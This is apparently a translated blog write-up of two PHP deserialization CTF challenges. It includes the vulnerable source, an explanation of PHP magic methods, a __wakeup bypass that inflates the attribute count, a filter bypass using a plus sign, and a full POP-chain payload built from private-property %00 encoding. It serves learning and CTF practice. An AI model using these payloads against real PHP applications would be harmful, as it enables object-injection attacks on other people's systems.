One day, weekly CTF several deserialization exercises

Posted by radar on Sun, 02 Jan 2022 08:51:57 +0100

Just talk but not practice the fake style. Use the CTF topic as an after-school exercise to test whether we master it. This is the first two of the four deserialized questions of weekly CTF one day (exhausted, rest and do the latter two)

EZ-unserialize

It's no exaggeration to say that I did it for a long time. It's a common question type, but because there is only a little foundation in front, it's really a little hard to do it, but I can learn a lot

This is a User class that defines three magic methods. In our last article, we introduced when to call them respectively. The wakeup function will be called when deserializing and reconstructing the object, and destruct will be called at the end

class User{
    function __construct($name,$pass){
        $this->name = $name;
        $this->pass = $pass;
    }
    function __wakeup(){
        if($this->name!='admin' or $this->pass!=mt_rand()){
            $this->name = 'guest';
            $this->isAdmin = false;
        }
    }
    function __destruct(){
        echo 'Hello'.$this->name;
        if(isset($this->isAdmin) and $this->isAdmin===true){
            highlight_file('/flag');
        }    
    }
}

isAdmin, name and pass are dynamic attributes assigned through $this. The value we deserialize can be passed through the attribute name: attribute value

function filter($str){
    if (preg_match('/o:\d+/i',$str))
        die('Not allow');
    return $str;
}

if(!isset($_GET['pop'])){
    highlight_file(__file__);
    $user = new User('guest','guest');
}else{
    echo unserialize(filter($_GET['pop']));
}

The first function is regular matching filtering. As long as the number after o: is filtered, this is the fixed format of deserializing string

The last one is to receive pop parameters in GET mode. If you don't create an object, you will automatically call the construct function with the name of guest! If the parameter exists, the result of code execution will be output. Filter first and then deserialize the execution code. The idea is as follows

structure pop Parameter: serialized string(Deserialization calls wakeup and destruct)
Bypass filter function
wakeup judge name If not equal to admin perhaps pass If it is not equal to the value of a random integer, it will name and isadmin assignment
destruct Output string, judge if isAdmin Exists and the value is true´╝îJust show flag

If the wakeup function is executed, isAdmin will be re assigned to false and the flag will be. Therefore, it is necessary to bypass and not execute wakeup. The new knowledge point here is that when the number of attributes is greater than the real number of attributes, it will not be executed (PHP5 < 5.6.25, php7 < 7.0.10)

payload is as follows

pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

We passed two parameters: name=admin, isAdmin=true, and the number of attributes is 4. Bypass wakeup. isAdmin assigns a value of true here and creates a new object. After serializing the value of true, we get b:1. Students should not try to assign a value of string true, and finally bypass the filtering through the plus sign

pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}

Adding a plus sign can deserialize normally without affecting the value (all bypasses are based on statements and can be parsed normally). I don't know why it is a plus sign

url encoding (in fact, only the plus sign needs to be encoded, because the browser will automatically encode the url in advance to prevent the plus sign from being resolved into a space)

pop=O%3A%2B4%3A%22User%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

POP

For the same pop parameter, there are 5 class classes and no filter function (I cried early. This problem took me several days. Why is it a primary problem

Doing and Watching: php object oriented

Check the flag related code and find that it is necessary to call all the magic functions in the five classes

'__wakeup','__destruct','__get','__set','__invoke','__call','__isset','__unset','__toString'

Two questions, one is when these functions are called, and the other is the writing method of multiple class calls

Simply write a class, including these magic functions. The first two will not be mentioned

__get            //Called when the member variable of a class is obtained

Through the pop parameter passing test, the called user will output the prompt of being called, and call the attribute arg1 of object a

@$pop = $_GET['pop'];
if(isset($pop)){
    $a = new C5;
    echo($a->arg1);
}
//  private $arg1; The beginning defines two properties of the class
//  protected $arg2;

__set            //Called when a member variable of a class is set
$a = new C5;
echo($a->arg1=3);

(Note: These are screenshots of the output results in the browser)

__invoke         //It is said (I didn't test) that php needs to be greater than 5.3 0
$a = new C5;
$a();

__call           //Call when an object is not accessible or does not exist in the object.
$a = new C5;
$a->a();//First: there is no a method

protected function a(){}
$a->a();//The second method: method a does not allow access to protected and private

__isset          //Called when isset() or empty() is called on an inaccessible property
$a = new C5;
//private $arg1;
//protected $arg2;
isset($a->arg1);
empty($a->arg2);

__unset          //Called when the unset() function is called on an inaccessible property of a class outside the object__ Unset magic function, all types of attributes can be passed__ Unset delete
$a = new C5;
unset($a->arg1);

__toString       //Called when the object is used as a character, not just echo output
$a = new C5;
echo $a;

These methods are generally used to put data into classes for operation

Looking back at the code, let's analyze it one by one

@$pop = $_GET['pop'];
if(isset($pop)){
    unserialize($pop);

The only input point is pop. If it exists, it will be deserialized. Here, the deserialization function will call__ The wakeup method is called the last. destruct method

Class C1 (reduced)

class C1{
    private $arg1;
    private $arg2;
    function __wakeup(){
        if(empty($this->arg1->arg2))
            die('arg1 can not empty'.'<br>');
    }
    function __destruct(){
        if($result==$check)
            highlight_file('/flag');
    }
}

Both $arg1 and $arg2 are private variables and cannot be called by assignment outside the class

The arrow in php is the operator that calls the properties and methods of the class. I don't know what this $this - > arg1 - > arg2 means. I began to think it was a special calling method

In fact, the solution is to define $this - > arg1 as an instantiated object of another class, and then call the arg2 attribute of this class to construct a call chain

Instantiating class B in class A cannot directly assign values to attributes in the class. It needs to be in the function of the class and need parentheses

<?php
class A{
    function __construct(){
        $arg = new B();
        $arg->hello();
    }
}
class B{
    function hello(){
        echo 'success';
    }
    
}
$a = new A;
//success

Wake up, go ahead and check the order (this is just an idea, which is different from the actual code)

1
C1-wakeup //Empty access private variable arg2 call isset empty ($this - > arg1 - > arg2)
$c1->arg1=$C4;   //Because it exists in C4, it is arg2 accessing C4
2
C4-isset   $this->$name 
// call_user_fun() takes the first argument as a function call
$c4->name  // If it is an object, call C3 invoke. If it is not an accessible function, call C3 call
//Because $name does not call the operation of the function of class c (- > arrow), it should be invoke
$c4->name=$c3;//Set to class c3
3
C3-invoke      
invoke--$this->arg1->arg2//Get the private variable and call C2 get
$c3->arg1=$c2;
4
C2-get  echo $this->$name;//(explained later here)
//The only echo in the full text, toString, didn't run
$c2->name=$c5;
5
C5-toString  unset($this->arg2->arg1)
//It's simple, C4 unset
$c5->arg2=$c4;
6
C4-unset   $this->$name->fun($this->arg2)
//The remaining C3 call
$c4->name=$c3;//Is parameter arg2 required
7
C3-call    $this->arg1->arg2=$name
//Call C2 set for assignment of inaccessible attribute
$c3->arg1=$c2;//Do you need $name?
8
C2-set       //That's it. You don't need it to call destruct
9
C1-destruct //Highlight flag after judging all calls

Define the variables used in the process. Start from C1 and serialize the C1 object

As mentioned earlier, it is not possible to set private attributes outside the class. If it is changed to public, its serialized length is different, so it should be set directly in the class, and% 00 should be added before and after the serialized private variable's class name, so that the result of deserialization can assign a value to the private attribute

There is a $this - > $name in C4 isset, which means that if you assign $name to character a, you will get the value of $a

<?php
class Test{
public $name = "abc";
public $abc = "test";

public function Test(){
	$name1 = "name";
	echo $this->name; // Output abc
	echo $this->$name1; // Output abc, because the value of $name1 is name, which is equivalent to replacing it with echo $this - > name;
	$name2 = $this->$name1; //The value of $name2 is abc
	echo $this->$name2; //Output test, the same as above, equivalent to echo $this - > ABC;
}

At this point, the basic confusion has been solved and we can start to construct serialized data

(the wrong copy of the invoke Code led me to study it for one day and found that I couldn't construct it. I hope you don't make such a mistake.)

<?php
class C1{
    private $arg1;
    function __construct(){
        $this->arg1=new C4();//structure
        if(empty($this->arg1->arg2))
            echo '<br>no<br>';
    }
}
class C2{
    private $arg2;
    function __get($name){
        $this->arg2=new C5();
        echo $this->$name;
        return $this->$name;
    }
    function __set($name,$value){
        echo 'set';
    }
}
class C3{
    private $arg1;
    function __invoke(){
        $this->arg1=new C2();
        return $this->arg1->arg2;
    }
    function __call($name,$arguments){
        $this->arg1=new C2();
        $this->arg1->arg2=$name;
    }
}
class C4{
    private $arg1;
    private $arg2;
    function __isset($name){
        //The string arg2 is passed in
        $this->arg2= new C3();
        call_user_func($this->$name,$this->arg1);
    }
    function __unset($name){
        $this->arg1=new C3();
        $this->$name->fun($this->arg2);
    } 
}
class C5{
    private $arg2;
    function __toString(){
        $this->arg2=new C4();
        unset($this->arg2->arg1);
        return 'noting';
    }
}

$a = new C1;
var_dump(serialize($a));

Add% 00 to the private variable class name, and the final payload is as follows

O:2:"C1":1:{s:8:"%00C1%00arg1";O:2:"C4":2:{s:8:"%00C4%00arg1";N;s:8:"%00C4%00arg2";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";O:2:"C5":1:{s:8:"%00C5%00arg2";O:2:"C4":2:{s:8:"%00C4%00arg1";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";N;}}s:8:"%00C4%00arg2";N;}}}}}}

You can see that all 9 functions are called (error reporting does not affect)

Ah ah!!!! Roar! Who can understand?

I reflected on why it took so long here. Looking back, I found that there were no difficulties, but I was not familiar with the use of php classes and some usages of serialization. For example, I would never think of adding% 00 without searching. I didn't know the special writing of calling other classes in the class There is no reference answer, you can only check a little, and most of the time you don't know where there is a problem, and there's nowhere to start

Topics: CTF